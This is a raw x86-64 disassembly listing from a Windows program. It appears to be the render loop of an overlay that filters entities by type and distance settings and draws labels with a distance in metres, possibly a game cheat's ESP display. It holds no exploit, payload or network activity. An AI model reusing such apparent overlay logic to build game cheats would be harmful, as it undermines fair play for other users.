call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 7
jne 0x1400d4fa1
cmp byte [rcx + 0x92], 1
jne 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 0x58]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 0x54], xmm2
vmovss dword [rbp - 0x58], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 8
jne 0x1400d501b
cmp byte [rcx + 0x93], 1
jne 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 0x50]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 0x4c], xmm2
vmovss dword [rbp - 0x50], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 6
jne 0x1400d5095
cmp byte [rcx + 0x94], 1
jne 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 0x48]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 0x44], xmm2
vmovss dword [rbp - 0x48], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 0xe
jne 0x1400d510f
cmp byte [rcx + 0x95], 1
jne 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 0x40]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 0x3c], xmm2
vmovss dword [rbp - 0x40], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 0xf
jne 0x1400d5189
cmp byte [rcx + 0x96], 1
jne 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 0x38]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 0x34], xmm2
vmovss dword [rbp - 0x38], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 0x10
jne 0x1400d5203
cmp byte [rcx + 0x97], 1
jne 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 0x30]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 0x2c], xmm2
vmovss dword [rbp - 0x30], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 0x19
jne 0x1400d527d
cmp byte [rcx + 0x98], 1
jne 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 0x28]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 0x24], xmm2
vmovss dword [rbp - 0x28], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 0x13
jne 0x1400d52f7
cmp byte [rcx + 0x99], 1
jne 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 0x20]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 0x1c], xmm2
vmovss dword [rbp - 0x20], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
movzx eax, byte [rbp + 0x420]
cmp al, 0x20
ja 0x1400d5368
bt rdi, rax
jae 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 0x18]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 0x14], xmm2
vmovss dword [rbp - 0x18], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rcx + 0x14], 1
jne 0x1400d554d
cmp byte [rbp + 0x498], 1
jne 0x1400d53db
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x20]
ja 0x1400d53db
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 0x10]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 0xc], xmm2
vmovss dword [rbp - 0x10], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 0x1a
jne 0x1400d5448
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x20]
ja 0x1400d54b1
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 8]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 4], xmm2
vmovss dword [rbp - 8], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 0x1f
jne 0x1400d54b1
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d54b1
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp + 4], xmm2
vmovss dword [rbp], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x499], 1
jne 0x1400d554d
vmovups xmm0, xmmword [rcx]
vmovss xmm1, dword [rsp + 0x64]
vmovups xmmword [rbp + 0x1a0], xmm0
vmovups xmm6, xmm0
vmovss xmm0, dword [rsp + 0x60]
vsubss xmm2, xmm1, xmm14
lea rcx, [rbp + 0x310]
vmovss dword [rbp + 8], xmm0
vmovss dword [rbp + 0xc], xmm2
call fcn.14005bf00
mov r8d, 3
lea rdx, [0x140149b8c]
lea rcx, [rbp + 0x310]
call fcn.14005bc40
mov rcx, qword [0x1402ff158]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm15
lea r8, [rbp + 8]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x310]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400ccd30
lea rcx, [rbp + 0x310]
call fcn.14005b610
mov rcx, qword [0x1402ff150]
mov eax, dword [rbp + 0x3c0]
cmp eax, 6
jne 0x1400d5604
cmp byte [rcx + 0x15], 1
jne 0x1400d5668
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x24]
ja 0x1400d5668
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
vmovups xmm6, xmmword [rbp + 0x110]
vsubss xmm2, xmm1, xmm8
lea rcx, [rbp + 0x330]
vmovss dword [rbp + 0x14], xmm2
vmovss dword [rbp + 0x10], xmm0
call fcn.14005bf00
mov r8d, 3
lea rdx, [0x140149b8c]
lea rcx, [rbp + 0x330]
call fcn.14005bc40
mov rcx, qword [0x1402ff158]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm13
lea r8, [rbp + 0x10]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x330]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400ccd30
lea rcx, [rbp + 0x330]
call fcn.14005b610
mov rcx, qword [0x1402ff150]
mov eax, dword [rbp + 0x3c0]
cmp eax, 5
jne 0x1400d5668
cmp byte [rcx + 0x16], 0
je 0x1400d5668
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x28]
ja 0x1400d5668
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp + 0x38]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x3c], xmm2
vmovss dword [rbp + 0x38], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
lea rcx, [rbp + 0x2f0]
call fcn.14005b610
mov rax, qword [0x1402ff150]
cmp byte [rax + 0x12], 0
je 0x1400d5859
cmp dword [rbp + 0x488], 0
je 0x1400d5859
mov rdi, r13
nop word [rax + rax]
mov r8d, dword [rdi]
lea rdx, [rbp + 0x80]
mov ebx, dword [rdi + 4]
lea rcx, [rbp + 0x420]
vmovss dword [rbp + 0x18], xmm7
vmovss dword [rbp + 0x1c], xmm7
vmovss dword [rbp + 0x20], xmm7
vmovss dword [rbp + 0x24], xmm7
call fcn.14008b2b0
vmovss xmm0, dword [rbp + 0x80]
vucomiss xmm0, xmm7
je 0x1400d584c
vmovss xmm0, dword [rbp + 0x84]
vucomiss xmm0, xmm7
je 0x1400d584c
vmovss xmm0, dword [rbp + 0x88]
vucomiss xmm0, xmm7
je 0x1400d584c
vmovsd xmm0, qword [rbp + 0x80]
mov eax, dword [rbp + 0x88]
lea r9, [rbp + 0x18]
mov rcx, qword [0x1402ff158]
lea r8, [rbp + 0xa0]
lea rdx, [rbp + 0x450]
mov dword [rbp + 0xa8], eax
vmovsd qword [rbp + 0xa0], xmm0
call fcn.14005d750
test al, al
je 0x1400d584c
mov r8d, ebx
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x420]
call fcn.14008b2b0
vmovss xmm0, dword [rax]
vucomiss xmm0, xmm7
vmovss dword [rbp + 0x80], xmm0
vmovss xmm1, dword [rax + 4]
vmovss dword [rbp + 0x84], xmm1
vmovss xmm2, dword [rax + 8]
vmovss dword [rbp + 0x88], xmm2
je 0x1400d584c
vucomiss xmm1, xmm7
je 0x1400d584c
vucomiss xmm2, xmm7
je 0x1400d584c
vmovsd xmm0, qword [rbp + 0x80]
mov eax, dword [rbp + 0x88]
lea r9, [rbp + 0x20]
mov rcx, qword [0x1402ff158]
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0x450]
mov dword [rbp + 0x98], eax
vmovsd qword [rbp + 0x90], xmm0
call fcn.14005d750
test al, al
je 0x1400d584c
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm0, dword [rbp + 0x20]
vmovss xmm1, dword [rbp + 0x24]
mov rcx, qword [0x1402ff138]
lea r8, str.Background
vmovss dword [rbp + 0x28], xmm0
vmovss xmm0, dword [rbp + 0x18]
vmovss dword [rbp + 0x2c], xmm1
vmovss xmm1, dword [rbp + 0x1c]
vmovss dword [rbp + 0x30], xmm0
vmovss dword [rbp + 0x34], xmm1
mov rdx, qword [rcx + 0x4140]
mov ebx, eax
mov rcx, qword [rdx + 0x40]
xor edx, edx
call fcn.1400081b0
mov r9d, ebx
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0x30]
mov rcx, rax
vmovss dword [rsp + 0x20], xmm10
call fcn.140034a70
add rdi, 8
cmp rdi, r12
jne 0x1400d56a0
lea rcx, [rbp + 0x3a0]
lea rbx, [rbp + 0x430]
lea rdi, [rbp + 0x488]
lea rsi, [rbp + 0x380]
call fcn.14005b610
mov rcx, rsi
call fcn.14005b610
mov rcx, rdi
call fcn.14005b120
mov rcx, rbx
call fcn.14005b610
add r14, 0x88
lea rsi, str._:.0f_m
movabs rdi, 0x140660022
cmp r14, r15
jne 0x1400d4950
mov rcx, qword [0x1402ff158]
lea rsi, str._:.0f_m
call fcn.140066a20
cmp dword [rbp + 0x358], 0x12
jne 0x1400d47d0
vmovaps xmm15, xmmword [rsp + 0x5b0]
vmovaps xmm14, xmmword [rsp + 0x5c0]
vmovaps xmm13, xmmword [rsp + 0x5d0]
vmovaps xmm12, xmmword [rsp + 0x5e0]
vmovaps xmm11, xmmword [rsp + 0x5f0]
vmovaps xmm10, xmmword [rsp + 0x600]
vmovaps xmm9, xmmword [rsp + 0x610]
vmovaps xmm8, xmmword [rsp + 0x620]
vmovaps xmm7, xmmword [rsp + 0x630]
vmovaps xmm6, xmmword [rsp + 0x640]
call fcn.14003c7b0
call fcn.14003d060
mov rbx, qword [0x1402ff138]
mov qword [0x1402ff138], rbx
call fcn.140006b30
mov rcx, rbx
mov qword [0x1402ff138], 0
call fcn.14002a630
mov rcx, qword [0x1402ff158]
mov rcx, qword [rcx + 0x48]
call qword [sym.imp.USER32.dll_DestroyWindow]
lea r11, [rsp + 0x650]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400f451c
int3